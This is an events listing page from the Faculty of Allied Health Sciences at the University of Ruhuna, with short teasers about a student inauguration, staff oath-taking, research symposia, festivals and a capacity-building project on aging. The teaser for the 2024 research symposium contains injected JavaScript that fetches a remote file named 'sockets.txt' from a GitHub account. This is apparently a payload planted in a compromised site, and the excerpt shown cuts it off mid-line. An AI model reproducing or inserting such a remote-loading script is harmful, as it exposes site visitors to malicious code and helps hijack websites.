Category: Events

The Inauguration Ceremony of the 2023/2024 batch of Allied Health Science students which was held on 5th January 2026 at the Auditorium, Faculty of Medicine, University of Ruhuna.  Read More…

All staff members of the Faculty of Allied Health Sciences ceremoniously commenced their duties on the 1st of January 2026 at the faculty premises. The event began with the Dean/Faculty of AHS hoisting the National flag, followed by all members taking the public servants’ oath.. Read More…

The 3 rd International Research Symposium of the Faculty of Allied Health Sciences, University of Ruhuna iRuFARS 2025 was successfully conducted on 6 th and 7 th of August 2025, under the theme ‘Combatting Healthcare Challenges through Research and Innovation’ at the new Faculty premises, Walahanduwa, Galle. Launching of the inaugural issue of the Faculty research journal, ‘The Sri Lankan JoRead More…

The new year festival of the Faculty of Allied Health Sciences; “AHS Sooryabhishekaya 2025” was held on 10.04.2025 with the participation of both staff and students. Read More…

“Iftar Ar Rahma” organized by the Ruhuna Medical Laboratory Science Students Society was held on 20th March 2025 at the Walahanduwa new faculty premises for the first time. The Ruhuna Medical Laboratory Science Students Society brought together 500+ members of the FAHS family for a night of blessings, delicious iftar, and unforgettable memories at the University of Ruhuna with this function. Read More…

The Allied Health Sciences (AHS) Degree Programmes of the University of Ruhuna (UoR) were initiated as the Paramedical Degree Programme under the Faculty of Medicine, UoR in 2008, addressing the long felt global demand to produce proficient healthcare professionals to deal with the current multidisciplinary trends in healthcare system. The programme was inaugurated on 20th October 2008 with thRead More…

The 9th Research Symposium of the Faculty of Allied Health Sciences- iRuFARS 2024 was successfully conducted on 05th July 2024 at the faculty of medicine, University of Ruhuna under the theme “Developing a Future Multidisciplinary Workforce in Rapidly Changing Healthcare”.;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.tRead More…

A European initiative for capacity building to promote academic and professional excellence in health care to meet the challenges of aging in Sri Lanka Sri Lanka (SL) faces the unique challenge of being one of the fastest aging countries in South Asia due to an unprecedented economic crisis leading to a soaring poverty level. The prevalence of age-related non-communicable diseases and disabilRead More…